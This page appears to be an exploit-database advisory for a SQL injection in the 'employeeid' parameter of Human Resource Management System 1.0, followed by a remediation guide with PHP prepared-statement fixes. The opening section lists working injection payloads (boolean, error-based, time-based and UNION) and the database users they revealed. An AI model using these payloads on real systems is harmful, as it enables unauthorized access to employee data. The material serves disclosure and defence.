Human Resource Management System 1.0 - 'employeeid' SQL Injection

Exploit Author: Srikar Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2024-03-12
# Exploit Title: Human Resource Management System - SQL Injection
# Date: 13-01-2024
# Exploit Author: Srikar ( Exp1o1t9r )
# Vendor Homepage: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15740/human-resource-management-system-project-php-and-mysql-free-source-code.html
# https://www.sourcecodester.com/sites/default/files/download/oretnom23/hrm.zip
# Version: 1.0 (Monday, October 10, 2022 - 13:37)
# Tested On: Windows 10 Pro 10.0.19044 N/A Build 1288 + XAMPP V3.3.0
# Vulnerable URL and Parameter:URL:


Parameter: employeeid=2 The following payloads successfully identified SQL injection
vulnerabilities:
employeeid=2' AND 9667=9667-- NFMgemployeeid=2' AND (SELECT
6014 FROM(SELECT COUNT(*),CONCAT(0x716a767671,(SELECT
(ELT(6014=6014,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- ywfiemployeeid=2' AND (SELECT
7160 FROM (SELECT(SLEEP([SLEEPTIME])))IzXD)-- ninWemployeeid=-4254' UNION
ALL SELECT
NULL,CONCAT(0x716a767671,0x457977584e79636568687641497a4b6e637668455a487948534e50737753626f5a4a545244616276,0x7162716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
- *

# Response:MySQL: 10.4.32-MariaDB
Users:'pma'@'localhost''root'@'127.0.0.1''root'@'::1''root'@'localhost'*


Human Resource Management System 1.0 — 'employeeid' SQL Injection: Analysis, Impact, and Remediation

Vulnerability summary

Attribute Details
Vulnerability SQL Injection (unsanitized user input in 'employeeid' parameter)
Affected component Employee lookup endpoint (HTTP parameter: employeeid)
Root cause Direct concatenation of user-supplied input into SQL queries
Severity High — data exposure, authentication bypass, data modification possible
Test environment Local Apache/PHP + MySQL/MariaDB (recommended: isolated test environment only)

Technical analysis

SQL Injection (SQLi) occurs when an application constructs SQL statements using untrusted input without proper validation or parameterization. In this HRM application the parameter employeeid is incorporated into a database query in a way that allows an attacker to change the SQL semantics.

Potential impacts include: unauthorized data disclosure (employee records, payroll), account takeover (if authentication checks depend on DB queries), data modification or deletion, and in some configurations escalation towards remote code execution. The exact impact depends on the database privileges granted to the web application's DB account and the schema exposed by the queries.

Safe identification and testing methodology

  • Always test only in an isolated, authorized test environment (do not probe production systems).
  • Start with static code review to find patterns where $_GET, $_POST, or other inputs are concatenated directly into SQL strings.
  • Use non-destructive, benign probes during dynamic testing (e.g., submit clearly invalid numeric values to confirm error handling) rather than automated destructive payloads.
  • Confirm findings by reproducing in a local copy of the application and database where experimenting is permitted.
  • Log and report findings with reproducible steps and remediation suggestions to the application maintainer; avoid publishing exploit steps publicly until a patch is available and coordinated disclosure is complete.

Example of vulnerable code (illustrative)

<?php
// Vulnerable pattern: direct concatenation of request input into SQL
$employeeid = $_GET['employeeid'];           // no validation
$sql = "SELECT * FROM employees WHERE id = $employeeid";
$result = $mysqli->query($sql);
?>

Explanation: This snippet reads the employeeid directly from user input and injects it into the SQL query string. If employeeid is controlled by an attacker, they can change the query logic. This is the common insecure pattern to avoid.

Secure fixes and best practices

Mitigation should be applied in multiple layers: input validation, parameterized queries, least-privilege database accounts, proper error handling, and monitoring. Below are concrete, secure examples and recommendations.

1) Use parameterized queries / prepared statements (PHP PDO example)

<?php
// Secure: PDO with prepared statement and bound parameter
$pdo = new PDO('mysql:host=127.0.0.1;dbname=hrm;charset=utf8mb4', 'webapp_user', 'secret');
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$employeeid = $_GET['employeeid'] ?? '';
// Optionally validate the input before binding (see next section)
$stmt = $pdo->prepare('SELECT * FROM employees WHERE id = :id');
$stmt->bindValue(':id', $employeeid, PDO::PARAM_INT);
$stmt->execute();
$employee = $stmt->fetch(PDO::FETCH_ASSOC);
?>

Explanation: Prepared statements separate SQL code from data. The driver handles escaping and typing of the bound value, preventing user input from altering the SQL structure. Binding as an integer adds an additional constraint.

2) Input validation and whitelisting

<?php
// Example: strict validation for a numeric ID
$employeeid = $_GET['employeeid'] ?? '';
if (!ctype_digit($employeeid)) {
    // handle invalid input (400 response, log, etc.)
    http_response_code(400);
    exit('Invalid employee id');
}
// proceed to bind $employeeid safely in prepared statement
?>

Explanation: Input validation enforces expected formats (numeric IDs, specific length, allowed characters). Whitelisting acceptable values is far more secure than blacklisting dangerous characters.

3) Principle of least privilege for database accounts

Configure the web application's DB user to have only the privileges necessary (e.g., SELECT, INSERT, UPDATE on specific tables). Avoid using administrative or root accounts from application code. Limit privileges per environment and rotate credentials regularly.

4) Proper error handling and information exposure

Do not return raw database errors to end users. Detailed DB error messages can reveal schema or query structure that aids attackers. Log detailed errors to a secure internal log and return generic messages to clients.

5) Additional mitigations

  • Use an ORM or database abstraction layer that encourages parameterization.
  • Consider a Web Application Firewall (WAF) to help detect anomalous request patterns.
  • Use secure configuration: disable multiple-statement execution APIs if unnecessary.
  • Keep the DB server and connectors up to date; use TLS for DB connections where supported.
  • Audit and monitor database queries and access patterns for anomalies.

Verification and post-patch testing

  • Reproduce the original behavior in the test environment, then apply fixes and verify the previously vulnerable parameter no longer changes SQL logic.
  • Run static analysis and dynamic scanning against the patched application in a controlled environment.
  • Perform regression tests to ensure legitimate functionality is unaffected.
  • Validate database user privileges to confirm reduced scope.

Responsible disclosure and remediation workflow

  • Notify the project/vendor securely and provide clear reproduction steps (in a test environment), impact assessment, and remediation suggestions.
  • Coordinate timelines for a patch and advisories; avoid public disclosure until a fix is available or coordinated disclosure has elapsed.
  • Apply the patch across all deployments and verify the rollout.

Checklist — quick remediation guide

Task Action
Code review Find and replace direct SQL string concatenation with parameterized queries
Input validation Whitelist expected formats for employeeid (numeric, length limits)
DB privileges Assign minimal privileges to the webapp database user
Error handling Log details internally; return generic errors to clients
Testing Verify fixes in isolated environment with automated and manual tests

Conclusion

SQL Injection in the employeeid parameter is a classic, high-impact vulnerability caused by unsafe handling of user input. Remediation is straightforward: validate inputs and, most importantly, use parameterized queries (prepared statements) combined with least-privilege database accounts and good error handling. Apply fixes in all environments, verify with tests in an isolated environment, and follow responsible disclosure practices when sharing findings.